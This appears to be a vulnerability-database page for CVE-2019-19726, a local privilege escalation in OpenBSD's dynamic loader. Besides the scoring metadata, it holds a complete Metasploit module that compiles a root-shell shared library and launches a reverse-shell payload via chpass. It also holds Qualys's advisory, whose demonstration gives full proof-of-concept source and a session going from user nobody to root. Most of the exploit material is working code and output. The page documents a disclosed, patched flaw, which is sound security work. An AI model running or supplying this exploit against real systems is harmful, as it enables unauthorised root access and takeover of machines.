Related Weaknesses
| CWE-ID |
Weakness Name |
Source |
| CWE-269 |
Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. |
|
Metrics
| Metrics |
Score |
Severity |
CVSS Vector |
Source |
| V3.1 |
7.8 |
HIGH |
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
nvd@nist.gov |
| V2 |
7.2 |
|
AV:L/AC:L/Au:N/C:C/I:C/A:C |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 47803
Publication date : 2019-12-29 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in the OpenBSD `ld.so`
dynamic loader (CVE-2019-19726).
The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH`
environment variable when set with approximately `ARG_MAX` colons.
This can be abused to load `libutil.so` from an untrusted path,
using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid
executable, resulting in privileged code execution.
This module has been tested successfully on:
OpenBSD 6.1 (amd64); and
OpenBSD 6.6 (amd64)
},
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2019-12-11',
'Platform' => %w[bsd unix], # OpenBSD
'Arch' => [ARCH_CMD],
'SessionTypes' => ['shell'],
'References' =>
[
['CVE', '2019-19726'],
['EDB', '47780'],
['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'],
['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'],
['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'],
['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'],
['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig']
],
'Targets' => [['Automatic', {}]],
'DefaultOptions' =>
{
'PAYLOAD' => 'cmd/unix/reverse',
'WfsDelay' => 10
},
'DefaultTarget' => 0))
register_options [
OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def chpass_path
datastore['CHPASS_PATH']
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end
def is_root?
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0')
end
def libutil_name
return unless command_exists? 'readelf'
cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d\.]+)\]/).flatten.first
end
def check
patches = cmd_exec('syspatch -l').to_s
patch = '013_ldso'
if patches.include? patch
vprint_error "Patch #{patch} has been installed. Target is not vulnerable."
return CheckCode::Safe
end
vprint_good "Patch #{patch} is not present"
unless command_exists? 'cc'
vprint_error 'cc is not installed'
return CheckCode::Safe
end
print_good 'cc is installed'
CheckCode::Detected
end
def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end
if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9
lib_data = <<-EOF
#include <paths.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
if (setuid(0) != 0) _exit(__LINE__);
if (setgid(0) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF
libs = []
lib = libutil_name
if lib
libs << lib
print_good "Found libutil.so name: #{lib}"
else
libs << 'libutil.so.12.1'
libs << 'libutil.so.13.1'
print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}"
end
lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c"
upload lib_src_path, lib_data
libs.each do |lib_name|
lib_path = "#{base_dir}/#{lib_name}"
print_status "Compiling #{lib_path} ..."
output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall"
register_file_for_cleanup lib_path
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{lib_path}.c failed to compile"
end
end
# Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9
exploit_data = <<-EOF
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>
int
main(int argc, char * const * argv)
{
#define LLP "LD_LIBRARY_PATH=."
static char llp[ARG_MAX - 128];
memset(llp, ':', sizeof(llp)-1);
memcpy(llp, LLP, sizeof(LLP)-1);
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };
#define DATA (ARG_MAX * sizeof(char *))
const struct rlimit data = { DATA, DATA };
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);
if (argc <= 1) _exit(__LINE__);
argv += 1;
execve(argv[0], argv, envp);
_exit(__LINE__);
}
EOF
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload "#{exploit_path}.c", exploit_data
print_status "Compiling #{exploit_path} ..."
output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall"
register_file_for_cleanup exploit_path
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
end
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}"
upload payload_path, "#!/bin/sh\n#{payload.encoded}\n"
chmod payload_path
print_status 'Launching exploit...'
output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}")
output.each_line { |line| vprint_status line.chomp }
end
end
Exploit Database EDB-ID : 47780
Publication date : 2019-12-15 23h00 +00:00
Author : Qualys Corporation
EDB Verified : Yes
Qualys Security Advisory
Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)
==============================================================================
Contents
==============================================================================
Summary
Analysis
Demonstration
Acknowledgments
==============================================================================
Summary
==============================================================================
We discovered a Local Privilege Escalation in OpenBSD's dynamic loader
(ld.so): this vulnerability is exploitable in the default installation
(via the set-user-ID executable chpass or passwd) and yields full root
privileges.
We developed a simple proof of concept and successfully tested it
against OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both
amd64 and i386; other releases and architectures are probably also
exploitable.
==============================================================================
Analysis
==============================================================================
In this section, we analyze a step-by-step execution of our proof of
concept:
------------------------------------------------------------------------------
1/ We execve() the set-user-ID /usr/bin/chpass, but first:
1a/ we set the LD_LIBRARY_PATH environment variable to one single dot
(the current working directory) and approximately ARG_MAX colons (the
maximum number of bytes for the argument and environment list); as
described in man ld.so:
LD_LIBRARY_PATH
A colon separated list of directories, prepending the default
search path for shared libraries. This variable is ignored for
set-user-ID and set-group-ID executables.
1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)
(2MB on amd64, 1MB on i386); as described in man setrlimit:
RLIMIT_DATA The maximum size (in bytes) of the data segment for a
process; this includes memory allocated via malloc(3) and
all other anonymous memory mapped via mmap(2).
------------------------------------------------------------------------------
2/ Before the main() function of chpass is executed, the _dl_boot()
function of ld.so is executed and calls _dl_setup_env():
262 void
263 _dl_setup_env(const char *argv0, char **envp)
264 {
...
271 _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));
...
283 _dl_trust = !_dl_issetugid();
284 if (!_dl_trust) { /* Zap paths if s[ug]id... */
285 if (_dl_libpath) {
286 _dl_free_path(_dl_libpath);
287 _dl_libpath = NULL;
288 _dl_unsetenv("LD_LIBRARY_PATH", envp);
289 }
------------------------------------------------------------------------------
3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH
environment variable and passes it to _dl_split_path():
23 char **
24 _dl_split_path(const char *searchpath)
25 {
..
35 pp = searchpath;
36 while (*pp) {
37 if (*pp == ':' || *pp == ';')
38 count++;
39 pp++;
40 }
..
45 retval = _dl_reallocarray(NULL, count, sizeof(*retval));
46 if (retval == NULL)
47 return (NULL);
------------------------------------------------------------------------------
4/ At line 45, count is approximately ARG_MAX (the number of colons in
our LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our
low RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.
------------------------------------------------------------------------------
5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH
is ignored, but it is not deleted from the environment (CVE-2019-19726):
although _dl_trust is false (_dl_issetugid() returns true because chpass
is set-user-ID), _dl_unsetenv() is not called (line 288) because
_dl_libpath is NULL (line 285).
------------------------------------------------------------------------------
6/ Next, the main() function of chpass is executed, and it:
6a/ calls setuid(0), which sets the real and effective user IDs to 0;
6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;
6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb
(unlike execve(), execv() does not reset the environment).
------------------------------------------------------------------------------
7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()
function of ld.so is executed and calls _dl_setup_env():
7a/ at line 271, _dl_getenv() returns a pointer to our
LD_LIBRARY_PATH environment variable (because it was not deleted from
the environment in step 5, and because execv() did not reset the
environment in step 6c);
7b/ at line 45, _dl_reallocarray() does not return NULL anymore
(because our low RLIMIT_DATA was reset in step 6b);
7c/ as a result, _dl_libpath is not NULL (line 271), and it is not
reset to NULL (line 287) because _dl_trust is true (_dl_issetugid()
returns false because pwd_mkdb is not set-user-ID, and because the
real and effective user IDs were both set to 0 in step 6a): our
LD_LIBRARY_PATH is not ignored anymore.
------------------------------------------------------------------------------
8/ Finally, ld.so searches for shared libraries in _dl_libpath (our
LD_LIBRARY_PATH) and loads our own library from the current working
directory (the dot in our LD_LIBRARY_PATH).
------------------------------------------------------------------------------
==============================================================================
Demonstration
==============================================================================
In this section, we demonstrate the use of our proof of concept:
------------------------------------------------------------------------------
$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > lib.c << "EOF"
#include <paths.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
if (setuid(0) != 0) _exit(__LINE__);
if (setgid(0) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF
$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED
0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1]
0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1]
$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c
$ cat > poc.c << "EOF"
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <unistd.h>
int
main(int argc, char * const * argv)
{
#define LLP "LD_LIBRARY_PATH=."
static char llp[ARG_MAX - 128];
memset(llp, ':', sizeof(llp)-1);
memcpy(llp, LLP, sizeof(LLP)-1);
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };
#define DATA (ARG_MAX * sizeof(char *))
const struct rlimit data = { DATA, DATA };
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);
if (argc <= 1) _exit(__LINE__);
argv += 1;
execve(argv[0], argv, envp);
_exit(__LINE__);
}
EOF
$ gcc -s -o poc poc.c
$ ./poc /usr/bin/chpass
# id
uid=0(root) gid=0(wheel) groups=32767(nobody)
------------------------------------------------------------------------------
==============================================================================
Acknowledgments
==============================================================================
We thank Theo de Raadt and the OpenBSD developers for their incredibly
quick response: they published a patch for this vulnerability in less
than 3 hours. We also thank MITRE's CVE Assignment Team.
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Products Mentioned
Configuraton 0
Openbsd>>Openbsd >> Version To (including) 6.6
References
